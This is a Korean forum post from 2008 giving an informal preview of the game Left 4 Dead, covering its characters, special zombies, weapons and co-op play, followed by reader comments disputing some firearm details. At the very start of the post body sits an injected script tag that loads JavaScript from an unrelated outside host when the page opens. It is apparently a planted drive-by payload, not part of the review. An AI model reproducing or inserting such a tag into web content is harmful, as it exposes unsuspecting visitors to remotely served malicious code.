총 게시물 53건, 최근 0 건 안내
이전글  다음글  검색목록 목록
[프리뷰]

Left 4 Dead - 생존을 위한 최고의 CO-OP 게임

글쓴이 : game-man  (121.♡.64.235) 날짜 : 2008-11-27 (목) 13:40 조회 : 13263


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 참고로 제 블로그에 올렸던 글입니다.^^ 전부터 올려보고 싶었는데 과연 내가 쓴 글이 프리뷰와 리뷰에 어울리는 글인지 고민하다가 그냥 형식없이 편하게 읽 을 수 있을것 같아서 올려봅니다.^^ 전문 리뷰어가 아닌 이상 형식에 따라 쓴다는건 어렵겠죠 제가 생각하는 프리뷰는 FreeView 입니다.자유롭게 플레이 해보고 느낀 점을 적으면 될 것 같아요.^^ 블로그에 올린글이나 반말투입니다.^^ 이점 양해바랍니다.

Left 4 Dead 공식 월페이퍼

Left 4 Dead의 공식표지

4명의 생존자 프랜시스,빌,조이,루이스

정말 최강의 협동 플레이 게임이 나오고 말았다.

하프라이프 시절부터 최고의 게임만을 만들어온 밸브사가 내놓은 신작 CO-OP FPS HORROR 게임인

LEFT 4 DEAD 이다.

인게임 스샷 점점 발전하는 소스엔진의 화려한 그래픽을 엿 볼 수 있다.

기본적인 캠페인 미션은 최대 4명이 같이 플레이할 수 있고 생존자와 좀비의 진영에서 플레이를 할

수 있는 대전모드에서는 최대 8명이 서로 협력해서 플레이 할 수 있다.

무엇보다 Left 4 Dead 의 가장 큰 특징은 완벽한 협력 플레이라는 것이다.

누구 한명 소홀히 게임을 진행 할 수 없다.

서로를 지켜주어야 하고 서로 치료를 하면서 진행해야 한다.혼자만의 솔로 플레이는 상상도 할 수 없

다.그저 미칠듯이 몰려오는 좀비무리로 부터 서로의 팀원과 자기 자신을 지켜야 한다.

각각 개성이 강한 캐릭터 들도 눈에 띈다.

왼쪽상단부터 빌,조이,프랜시스,루이스

녹색 배레모와 야전상의,군복,군화 복장에 항상 담배를 입에 물고

4명의 주인공 중 가장 연장자이자 리더격인 ,

한때 커다란 할리데이비슨을 몰았을 것 같은 터프한 외모의 프랜시

화이트 칼라로 일반적인 사람들의 모습을 보여주는 4명의 캐릭터 중 유일한 흑인 루이스

4명중 유일한 여성 캐릭터로 귀여운 얼굴(!)에 어울리지 않게 강렬한 성격을 보여주는 조이

4명의 캐릭터 중 유일한 여성 캐릭터인 조이

아래는 위키피디아에서 찾은 4 캐릭터의 설정이다.

  • Francis is a tattoo-covered member of the Hells Angels.
  • Zoey is a college student and horror movie enthusiast.
  • Louis is a Junior Systems Analyst in his company's IT department.
  • Bill is a former Green Beret and a Vietnam veteran.
  • 게이머는 이 4명의 캐릭터 중 한명이 되어서 뭔지 모를 감염으로 좀비가 된 사람들이 몰려있는 마을이나

    도시,공항,숲속을 벗어나서 구조를 기다려야 한다.

    게임은 임시 대피소가 하나의 체크포인트이자 여러 아이템을 보충할 수 있는 장소이기도 하다.

    물론 게임 중간 중간 적재 적소에 자리 잡고 있는 파이프 폭탄이나,화염병,가스통,기름통,총기류,탄약

    을 잘 획득해서 서로 협력해서 진행을 해야 한다.

    레벨의 구성은 보통 4개의 캠페인에 각각 5개의 챕터를 가지고 있다.

    대략 한 캠페인당 1시간에서 1시간 30분 가량의 시간이 소모된다.

    플레이를 하다보면 너무 몰입한 나머지 시간가는중 모르고 하고 있는 자신의 모습을 바라 보게 될 것

    이다.특히나 여러 영화에서 등장했던 좀비들이 적으로 등장해서 상당히 익숙하고 느릿느릿하게 걷기

    만 하던 좀비들이 같이 무리를 지어서 빠른 속도로 무자비하게 달려들어서 게이머를 괴롭힌다.

    특히나 좀비들 중 특수 좀비들이 있어서 더욱 더 긴장하게 만든다.

    시야를 가리고 좀비들을 몰려들게 하는 녹색의 토사물을 뿌리고

    공격을 받으면 몸이 터지는 부머

    큰 몸집으로 가까이에서 시야를 가리는 토사물을 뱉어내고 공격을 받으면 몸이 터지는 부머

    빠른 속도로 캐릭터를 덮쳐서 공격하는 헌터

    먼거리에서 긴 혀로 게이머를 잡아서 끌어당기는 스모크 죽을때 녹색의 독한 연기를 남긴다.

    게임상 강력한 공격력을 자랑하는 윗치

    윗치가 근처에 있다면 건드리지 않고 그곳을 벗어나는게 제일 좋다.

    윗치의 주변에서는 흐느끼는 울음소리가 들리므로 대충 위치를 파악 할 수 있다.

    게임 진행 중 울음소리가 들리면 바로 플래쉬 라이트를 끄고 조용히 그곳을 벗어나자.

    윗치는 일단 건드리게 되면 자신을 건드린 게이머를 끝까지 따라가 치명상을 입힌다.

    대략 80 의 체력이 있다면 공격을 받으면 30 정도로 체력이 줄어들고 그자리에서 움직일 수없는 제압상태가 된다.

    등장하는 특수좀비중 가장 몸집이 크고 강력한 파괴력을 자랑하며 맷집 또한 상당한 탱크

    탱크는 절대로 혼자서는 상대할 수 없는 엄청난 괴물이다.

    게임상에서 특수 좀비들의 등장을 미리 알려주어서 미리 대비를 할 수 있다는게 정말 행운일 정도이

    다.특히나 탱크는 4명의 캐릭이 같이 협공을 해야 조기에 제거할 수 있는 거의 보스급의 좀비이다.

    탱크는 강력한 밀치기 공격이나 내려찍기,혹은 주변의 바리케이트나 바위들을 던져서

    상당한 데미지를 입힌다.

    최대한 빨리 제거하는게 게임의 진행상 아주 좋은 방법이다.

    특히나 일반적인 좀비 무리들과 같이 공격을 가해 올때는 우선적으로 제거해야 할 좀비이기도 하다.

    다행히도 탱크는 주로 단독으로 등장하고 2마리가 한꺼번에 등장하지는 않으므로 작은 위안이 된다.

    레포데에 등장하는 무기들은 전형적인 아메리칸 스타일의 총기들이 많은 편이다.

    게임상에 등장하는 대표적인 총기류 SHOT GUN,Colt M1911,M16

    델타포스에서 등장했던 UZI

    Springfield Armory M1911 세계 2차 대전이전부터 WW2, 베트남전 현재에 이르기까지 병사들에게

    지급된 미국을 대표하는 피스톨이다.제작연도는 오래 되었지만 특유의 그립감과 작동방식은

    피스톨의 가장 기본적이고 대표적인 케이스라고 할 수 있을것이다.

    M16 베트남 전쟁부터 보급된 총기이며 AK47 을 개발한 칼리시니코프가 구소련에 있다면

    미국에는 M16을 개발한 유진 스토너가 있다.바로 그의 작품이다.

    7.62MM 의 무거운 탄약대신 가볍고 공격력도 강한 5.56MM 탄약를 사용해서 미군들을 지

    켜주었던 총이며 미국을 상징하는 대표적인 라이플이다.

    비록 베트남의 정글속에서는 정비불량으로 잔고장을 일으켰지만 최근에도 M16A2,M4 로 점점 발전하며

    미군의 대표적인 제식총기중 하나이다.

    또한 최근에는 M4의 단점을 보완한 독일의 유명 총기개발사인 H&K 의 HK416 까지 점점 발

    전하고 있는 총기이다.

    Shot Gun 세계 1차 대전 적의 진지를 효과적으로 점령하기 위해서 일반적인 장총을 전쟁에

    도입시켰으며 초기 이름은 트렌치 건이었다.여러 발의 작은 구슬모양의 총알(슬러그)이 들어 있는

    탄약을 사용하며 아주 강력한 파괴력을 자랑한다.현재 군과 경찰에서 많이 쓰이며 문의 경첩을 파괴하거나 좁은 공간에서의 공격에 주로 이용한다.

    영화 데스 선텐스에 등장했던 더블 샷건의 경우 대인용이 아닌 주로 사냥용으로 쓰이던 총이

    다.아주 긴 총신의 더블 샷건은 코끼리를 사냥할 때 쓰인다.

    특히 좁은 공간에서 근거리에서 한발로 여러명에게 피해를 줄 수 있는 아주 효과적인 무기이다.

    Benelli M4 Super 90 일반적인 샷건이 느린 발사 시간을 가지고 있다면 이 샷건은

    빠른 시간안에 10발의 무시무시한 탄약을 발사한다.

    근접한 적들을 완전 초토화 시켜버릴 수 있을 정도의

    파괴력을 자랑한다.화끈한 액션을 원한다면 주저말고 이 무기를 선택하자.

    Ruger Mini-14 스탠리 큐브릭 감독의 풀 메탈 자켓에서 등장했으며 시기를 잘못 타서 m16

    에게 밀려버린 비운의 총이다.

    게임상에서는 15발의 탄창식이며 겉모습은 2차 세계대전에서 미군의 대표적인 무기였던

    m1 garand 를 닮았다.

    하지만 최근에는 저격용 라이플로 재탄생되어 여전히 현역의 위치를 고수하고

    있는 총기이다.참고로 영화 블랙 호크 다운의 게리 고든과 랜디 슈가트가 사용하는 총 중 하나이다.

    Uzi submachine gun 이스라엘의 IMI 사에서 개발한 Sub-Machine Gun 이다.

    가볍고 많은 탄약수,잘만든 총기구조로 많은 인기를 얻은 총이다.

    특히나 영화 델타포스에서 주인공인 척 노리스가 사용해서 유명세를 타기도 했다.

    여기서 눈에 띄는 무기는 바로 M1911 권총이다.비록 게임상이지만 푹 빠져버렸다고 할까?

    두 자루의 M1911로 화끈하게 공격을 할때의 기분은 정말 최고이다.

    개인적으로는 샷건류를 좋아해서 샷건과 연발 샷건을 주로 사용했다.

    적은 탄약수와 재장전이 오래 걸리기는 하지만 몰려있는 앞의 좀비를 효과적으로 제거 할 수 있는 아

    주 좋은 무기이다.

    총기류 이외에도 삑삑삑 소리를 내어 좀비들의 시선을 끄는 파이프 폭탄

    뜨거운 화염으로 넓은 지역의 좀비들을 공격할 수 있는 화염병

    땅바닥에 떨어 뜨린 후 멀리서 터트릴 수 있는 가스통기름통

    특정 위치에 고정되어 많은 좀비를 공격할 수 있는 미니건

    비록 많은 수의 무기들은 아니지만 아주 효과적이고 미국적인 무기들이 등장해서

    북미에서 아주 많은 인기를 얻을 것 같다.

    딱 미국 스타일의 게임이라고나 할까?

    일반적인 총기를 이용한 공격과 마우스 오른쪽 버튼을 이용한 밀쳐내기 공격이 있다.

    이 공격은 좀비들에게 큰 피해를 입히지는 못하지만 좀비들과의 거리를 유지시켜 효과적인 공격을 할

    수 있다.일단은 밀려난 좀비는 잠시 무력화 상태가 되므로 재빠르게 공격을 하는게 좋다.

    Left 4 Dead 에서는 재장전이 아주 중요하다.발사할 총알이 총에 들어가지 않았다면 빠른 시간

    안에 재장전을 해야 자신과 팀원의 생존에 많은 도움이 될 것이다.

    또한 수시로 재장전과 탄약보충으로 좀비들에게 무력화되는 불상사가 일어나지 않도록 해야 할것이

    다.특히 좀비와 협력플레이라는 요소를 적절하게 잘 혼합해서 아주 인상적인 게임을 만들어 냈다.

    아주 혁신적인 게임중 하나였던 밸브사의 포탈 이후로 최대의 관심을 받는 게임이 바로

    Left 4 Dead 이다.

    회복아이템은 체력의 반 이상을 회복시켜 주는 구급가방과 일정 시간동안 체력을 유지시켜주는

    진통제가 있다.이 두 가지 아이템은 게임상에서 가장 중요하다고 해도 과언이 아니다.

    다른 팀원에게 건네주거나 치료를 할 수도 있어 서로의 팀웍을 발전 시킬수 있기도 하다.

    임시 대피소에서는 구급가방은 4개만 지급된다.전 챕터에서 부상을 당한 팀원을 치료하거나

    다른 팀원으로 부터 치료를 받아 효율적인 구급가방사용도 중요하며 치료시에는 공격을 못하는

    딜레이 시간이 있으므로 안전한 장소에서 다른 팀원의 보호하에 치료를 해야한다.

    일반적으로 좀비 무리가 많이 몰려온 후에는 잠시동안의 정전상태가 된다.이 시기를 놓치지 말자.

    게임은 대기모드도 지원을 해서 게임 중 잠시동안 자리를 비운다면 자신의 캐릭터는 AI 가 조종하게

    될 것 이다.Left 4 Dead의 AI 는 생각보다 괜찮은 편이다.

    물론 게이머보다는 못하지만 나쁜편도 아니다.

    FPS 게임을 한번이라도 즐겨봤던 게이머라면 반드시 플레이 해봐야 할 최고의 게임이다.

    특히 스팀으로 친구들과 같이 협력해서 플레이하면 이 게임의 진가를 알 수 있을것이다.

    체력이 거의 바닥났을때 옆의 누군가가 나를 치료해준다면 그 경험은 정말 지금껏 게임상에서

    느껴본적이 없는 최고의 경험일것이다.

    게임상에서 등장하는 회복아이템은 나를 위해서 존재하는게 아니다.

    체력이 없는 다른 팀원을 위해서 존재하는 것이다.서로 치료하고 서로 도우면서 진정한 재미를

    느낄 수 있는 최강의 협동 게임이다.

    Left 4 Dead 에서의 위치는 아주 중요하다.

    좀비들보다 높은 위치에서의 공격이 훨씬 효율적이고 피해를 최소한으로

    줄일 수 있는 효과적인 공격방법중 하나이다.

    넓고 사방이 탁 트인 장소에서는 특히 주의를 해야 한다.

    어디서 좀비들이 공격을 해올지 모르기 때문이다.

    앞의 좀비들만 신경을 쓰고 있으면 어느새 뒤쪽에서도 좀비들이 공격을 해온다.

    그래픽도 많은 게이머들과 웹진들에게 인정받은 밸브의 소스 엔진으로 하프라이프 에피소드 이후로

    좀 더 발전된 그래픽과 효과를 보여준다.특히나 가장 눈에 띄는 부분은 바로 불의 표현이다.

    지금껏 많은 불의 그래픽을 보았지만 Left 4 Dead 의 불 그래픽이 정말 최고인것 같다.

    좀비들의 고어효과 또한 상당히 좋다.물리엔진과 잘 접목하여 최고의 타격감을 보여준다.

    한 탄창을 다 비울때까지 쏘면 그 총알 다 맞고 여러 모션을 취하는 장면은 지금껏 느껴본 적이 없

    는 화끈한 타격감을 보여준다.각각의 캐릭터 모델링 또한 상당히 좋다.

    캐릭터의 복장과 인물묘사 특히 미국개발사의 모델링 치고는 너무 예쁜 조이는 눈에 띈다.

    레벨 구성 또한 일상적인 배경으로 도심이나 병원,창고,공항,지하철등 익숙한 배경을 세밀한 그래픽으

    로 표현해서 쉽게 게임에 몰입 할 수 있게 해준다.

    또한 캐릭터의 발이 보여서 좀 더 사실적인 표현을 보여준다.

    개인적으로 FPS 게임 중 캐릭터의 하체가 보이는 게임을 정말 좋아하는 편이다.

    대표적인 FPS 게임으로는 리딕:부처베이 탈출,크라이시스,크라이시스 워헤드가 있다.

    그에 비해서 완벽한 최적화로 일반적인 메인 스트림급의 그래픽 카드에서도 최고의 그래픽을 보여준

    다.사운드와 효과음 또한 고전 좀비영화가 떠오르는 익숙한 배경사운드와 강렬한 총성은 게임에

    100% 몰입할 수 있는 요소중 하나이다.

    특히나 좀비들이 괴성을 지르며 달려올때의 사운드는 게이머의 아드레날린을 솟구치게 하는 마력을

    지녔다.

    각각 캐릭터의 음성 또한 최고이다.

    Z,X 키를 이용한 커맨드음성은 각각의 캐릭터의 특징과 성격을 잘 나타내는 듯하다.

    빌의 경우 치료를 해주면 '그럴 필요는 없는데 하지만 고맙군' 약간 툴툴거리기는 하지만

    감사의 표시를 작은 목소리로 하는 나름 귀여운 면을 볼 수 있는 대사이다.

    빌은 프랜시스와 티격태격 하지만 서로를 돕고 다른 캐릭과도 진정한 팀을 이룬다.

    스팀을 이용한 보이스 채팅을 이용한 전략적인 플레이와 최고의 협동플레이는

    2008년 최고의 CO-OP FPS 게임이라는 것을 게이머에게 깨닫게 해준다.

    말이 필요없다..

    직접 플레이 해보기 바란다.

    Left 4 Dead 의 공식 월 페이퍼

    부족하지만 긴 글 끝까지 봐주셔서 정말 감사합니다.^^ 참고로 이미지들은 구글링으로 구한것들입니다. 태그로 되어 있다보니 글 사이가 많이 벌어졌네요.^^; 죄송합니다.베타겜은 글올리는게 조금 불편한것 같아요.ㅋ

    Ryan_[GIGGS] (124.♡.134.25) 2008-11-27 (목) 15:48
    오! 괜찮은데요? 캐릭터의 특색이나 무기에 대한 정보까지 실려있고... 전문가가 아니라면
    대단하신듯.ㅋ
    댓글주소
    옵티마스 (124.♡.159.215) 2008-11-27 (목) 16:51
    총기정보 까지..
    잘 읽었습니다
    댓글주소
    우라카타 (58.♡.153.140) 2008-11-28 (금) 07:29
    잘 봤습니다. 이 글도 리뷰보단 공략에 약간 가까운 성향을 보이고 있습니다. 쓰신 분의 free view적인 측면에서 보자면 좋군요. 아 그리고 각 캐릭터의 설정 부분은 궁금했는데 알려주셔서 감사합니다. ^^
    댓글주소
    aikonara (121.♡.237.231) 2008-11-28 (금) 10:04
    잘 봤습니다. 리뷰 쓰시려고 여러가지 정보를 찾아서 잘 정리 하셨네요..
    근데 총기류에서 몇가지 잘 못된정보들이 있군요.

    콜트 권총은 이름 그대로 1911년에 군에 제식되어진 권총입니다.(2차대전이 아닙니다.)
    미-서(스페인) 전쟁당시 38구경 리볼버의 위력이 마약 성분의 약을 먹고 돌진하는 필리핀 전사들을 충분히 막아낼수 없어서 개발되어진 총입니다.(요즘 말하는 저지력)

    게임상의 저격총은 엄밀히 말하면 M14가 아닙니다. M14를 구경과 무게을 줄이고 일반인과 경찰(산림감시와같이 야외에서 일하는 경찰등등)에게 판매하기위해서 만들어진 총입니다. 한마디로 민수용인거죠.

    마지막으로 M16의 정글에서의 총기 불량은 참....뭐라고 해야할지... 당시 M16을 미래형 소총이라 생각하고 청소도 제대로 안한 일선병사들의 선입관이 M16이 고장이 잘나는 총이다라는 루머가 아직까지도 이어지고 있네요...(거의 30년이상)
    이후 일부문제되는 부분을 개량하고 청소킷을 보급함으로써 그런 문제는 거의 없습니다.(M16A1)
    댓글주소
    game-man (121.♡.64.235) 2008-11-28 (금) 10:30
    aikonara //
    총기 전문가가 아닌 이상 정확히 쓸 수는 없겠죠..^^

    그냥 얕은 지식으로 썼을 뿐입니다.고작 프리뷰일뿐이니 너무 민감하게 보지 말아주세요.

    참고로 위키피디아 검색 정보입니다.

    <a class=auto href=http://en.wikipedia.org/wiki/M1911_pistol>http://en.wikipedia.org/wiki/M1911_pistol</a> <a class=auto_new href=http://en.wikipedia.org/wiki/M1911_pistol target=_blank>[새창에서 열기]</a> [새창에서 열기]

    <a class=auto href=http://en.wikipedia.org/wiki/M16_rifle#M16A3>http://en.wikipedia.org/wiki/M16_rifle#M16A3</a> <a class=auto_new href=http://en.wikipedia.org/wiki/M16_rifle#M16A3 target=_blank>[새창에서 열기]</a> [새창에서 열기]

    <a class=auto href=http://en.wikipedia.org/wiki/Uzi_submachine_gun>http://en.wikipedia.org/wiki/Uzi_submachine_gun</a> <a class=auto_new href=http://en.wikipedia.org/wiki/Uzi_submachine_gun target=_blank>[새창에서 열기]</a> [새창에서 열기]

    <a class=auto href=http://en.wikipedia.org/wiki/Shotgun>http://en.wikipedia.org/wiki/Shotgun</a> <a class=auto_new href=http://en.wikipedia.org/wiki/Shotgun target=_blank>[새창에서 열기]</a> [새창에서 열기]

    <a class=auto href=http://en.wikipedia.org/wiki/Benelli_M4_Super_90>http://en.wikipedia.org/wiki/Benelli_M4_Super_90</a> <a class=auto_new href=http://en.wikipedia.org/wiki/Benelli_M4_Super_90 target=_blank>[새창에서 열기]</a> [새창에서 열기]

    <a class=auto href=http://en.wikipedia.org/wiki/Ruger_Mini-14>http://en.wikipedia.org/wiki/Ruger_Mini-14</a> <a class=auto_new href=http://en.wikipedia.org/wiki/Ruger_Mini-14 target=_blank>[새창에서 열기]</a> [새창에서 열기]

    내용 수정했습니다.^^
    댓글주소
    LYY (222.♡.182.51) 2008-11-28 (금) 11:23
    미국개발사의 모델링 치고는 너무 예쁜 조이는 눈에 띈다 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
    완전 공감입니다 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
    댓글주소
    늅늅 (124.♡.56.48) 2008-11-28 (금) 21:35
    위에 조이 아줌마 이미지는 원래 조이를 헬스 트레이너 직업의 유부녀로 설정했다가 호러광 대학생으로 바꾸기 전 이미지네요.
    댓글주소
    IntelD Blu-RayDis… (211.♡.18.187) 2008-11-28 (금) 23:05
    리뷰 잘봤습니다
    댓글주소
    베브 (211.♡.7.37) 2008-11-29 (토) 02:55
    이 게임의 개인적으로 생각하는 단점 두가지.

    1. 우선 이미 지나온길에서 -막힌길임에 틀림없는데- 좀비가 자꾸 나온다는것.
    이것은 큰 문제인데 좀비로부터 도망치기위해 길을 찾는 주인공들이 이미 지나온길은 좀비들을 처지하고 안전해진 길이여야 한다. 하지만 이미 막힌곳에서 부터 시작해 좀비를 죽여왔는데도 다시 좀비가 등장한다는것은 안전한 곳이 없다는 뜻...만약 실제나 영화에서 이런게 나온다면 그냥 자살해야한다...

    2. 보통의 좀비들이 빠르게 움직인다는것..특수좀비들만 빠르게 움직이게 하고 보통의 좀비들은 좀더 대단위로 나오는 대신 걷는정도의 속도로 나왔어야 한다. 대신에 체력이 지금보다 훨씬 높고 머리를 못맞춘다면 다시 기어서라도 주인공들을 쫓아오는 편이 훨씬 두려웠을 듯 한다..
    댓글주소
    붉은괴물 (76.♡.226.120) 2008-11-30 (일) 14:03
    베브/ 2번은 공감 못하겠네요, 뛰는 좀비라서 사람들이 열광한건데 ㅡㅡ;
    댓글주소
    redwood (222.♡.155.10) 2008-12-02 (화) 21:45
    리뷰 잘 봤습니다. 그리고 한가지 지적하자면 게임상에 등장한 총기는 M16이 아닙니다.
    AR-15라고 M16을 커스텀한 총입니다.
    <a class=auto href=http://i20.photobucket.com/albums/b209/itgoesboom/AR15-1-1.jpg>http://i20.photobucket.com/albums/b209/itgoesboom/AR15-1-1.jpg</a> <a class=auto_new href=http://i20.photobucket.com/albums/b209/itgoesboom/AR15-1-1.jpg target=_blank>[새창에서 열기]</a>
    댓글주소
    game-man (121.♡.64.149) 2008-12-03 (수) 21:33
    redwood // 게임상인데 커스텀 한 총인지 민수용인지 군용인지 어떻게 아나요? ^^;;
    너무 많은것까지 딴지거시네요.그만 하세요..괜히 총 설명 적었네요..ㅋㅋ
    위키피디아 가서 찾아보니 게임상에 등장하는 총기들이 나오네요.

    Survivor characters
    There are four playable human characters in the game:[11] Francis, a tattoo-covered biker; Zoey, a college student and horror movie enthusiast; Louis, a Junior Systems Analyst in his company's IT department; and Bill, a former Green Beret and a Vietnam veteran. Early plans were for players to be randomly assigned to characters but in the final release, players can choose any character—provided that the character has not already been selected—or be randomly assigned an unselected character.[6]

    Survivors are armed with various firearms. Each player starts the game with a Springfield Armory M1911 pistol,[12] and when a second one is found, the player can dual wield them. The pistols have unlimited ammo and are the only weapons that Survivors can use when they are incapacitated. Regardless of what weapon a player is using, a melee attack can be used. At the beginning of each campaign, the player can choose between an Uzi submachine gun and a pump-action shotgun. As the Survivors progress through a campaign, more powerful weapons can be found: the M16A3 assault rifle, Benelli M4 Super 90 shotgun, and Ruger Mini-14 rifle. In addition to firearms, a player can also carry three other items: either a Molotov cocktail to create a wall of fire or a modified pipe bomb designed to attract Infected to it with a strobe light and siren;[12] a first-aid kit, which heals the Survivor on which it is used; and pain pills, which provide temporary health and can be handed to teammates for later use.

    등장한 총기들 알 수 있을겁니다.
    총기에 대한 딴지는 그만 거세요.
    댓글주소
    雪 花 香 (59.♡.220.252) 2008-12-06 (토) 03:07
    하여튼 그저 아는 지식만 나왔다 하면 지적안하고 못배기고 안달복달 하는 사람들....자제좀.

    주된 내용은 그게 아닐텐데.......
    댓글주소
    redwood (219.♡.92.33) 2008-12-22 (월) 23:41
    아니 별로...
    그게 하나 잘못됐다고 이 글이 다 쓰레기라고 쓴것도 아닌데 왠 -_-;;; 황당합니다.
    더욱이 좀 아는거 나왔다고 지적안하면 안달복달 못하는것도 아닙니다.
    걍 그게 하나가 제 생각이랑 다른거 같아서 그냥 쓴건데 무슨 진짜 어이가 없네요 허허허ㅡㅡ;
    생각이 좀 틀리다고 뭔 진짜 이런 소리까지 들어야한다니 이게 무슨 북한 싸이트도 아니고 말이죠.
    대충 리플 보니까 다른 한분이 다른 지적을 하셔서 그런거 같은데 님의 글이 총 하나가 틀렸다고 이상한 글 취급받을 이유가 없듯이 제 리플도 마찬가지입니다.
    주된 내용이 저게 아니라는것도 아주 잘 압니다. 그러니까 처음에 리뷰 잘 봤다고 서두를 단거죠.
    하여튼 참 진짜 간만에 와보니 완전 어이가 가출하시겠네요.
    댓글주소
    곰탕에곰없어 (124.♡.220.138) 2008-12-25 (목) 12:53
    발도 보이나요? 전 안그런데;
    댓글주소
    JIMJIM (110.♡.22.219) 2011-01-08 (토) 19:43
    ㅋㅋ 이겜 쪼까 재밌긴 하던데.. 아닌가??
    댓글주소
    suny7760 (118.♡.175.166) 2013-08-28 (수) 16:28
    단언컨데 레포데는 최고의 코옵게임입니다
    댓글주소
    이전글  다음글  검색목록 목록

    총 게시물 53건, 최근 0 건 안내
    번호 분류 이미지 제목 글쓴이 날짜 추천 비추천 조회
    53 프리뷰  시즌2로 업데이트 한 '무한돌파삼국지' 프리뷰 1 랩스타 05-10 1 0 16483
    52 프리뷰  Age of Wonders III 에이지 오브 원더스 3 - 화려한 턴제 4X 전… 8 cOOLwARP 04-21 1 0 19905
    51 프리뷰  [Preview]지구인 vs 외계인 Alien Rage - Unlimited 7 잇힝스 09-26 3 0 7888
    50 프리뷰  XCOM : Enemy Unknown 간단한 리뷰 26 홍천일섬 10-05 5 0 11077
    49 프리뷰  윈도우즈8 설치 맛보기 6 니안에나있다 09-13 3 0 11491
    48 프리뷰  Kingdoms of Amalur : Reckoning 11 Sum-41 01-25 1 0 14188
    47 프리뷰  게임용 노트북 '시리즈 7 게이머' 30 betagam 12-10 3 0 8281
    46 프리뷰  던전시즈3 38 betagam 06-17 16 0 13035
    45 프리뷰  크라이시스2 프리뷰 (IGN) 26 CYJK 12-18 51 0 16166
    44 프리뷰  배틀필드: 배드 컴퍼니2: 베트남 프리뷰 (IGN) 19 CYJK 12-16 54 0 15165
    43 프리뷰  드래곤퀘스트 몬스터 배틀로드 빅토리 21 듀오 09-24 55 0 12142
    42 프리뷰  APB 프리 30 누구저요 06-14 55 0 19976
    41 프리뷰  Need For Speed : World 클로즈베타 프리뷰 20 패도풍신 06-02 59 0 18920
    40 프리뷰  <드래곤 에이지: 오리진> 체험기 29 소솜 10-30 93 0 48890
    39 프리뷰  Left 4 Dead - 생존을 위한 최고의 CO-OP 게임 17 game-man 11-27 79 0 13264
    38 프리뷰  Need For Speed : UnderCover 13 SeeYa수지니 09-17 79 0 14427
    37 프리뷰  디아블로 3 69 betagam 07-11 95 0 41446
    36 프리뷰  최신작 Sins of a solar empire 28 라됴헤드 02-12 142 0 22766
    35 프리뷰  커맨드 앤 컨커 3 케인의 분노 3 betagam 09-19 165 0 16240
    34 프리뷰  명작 "바이오쇼크"를 말하다 35 작가-현영 09-01 196 0 27360
    목록
    1 2 3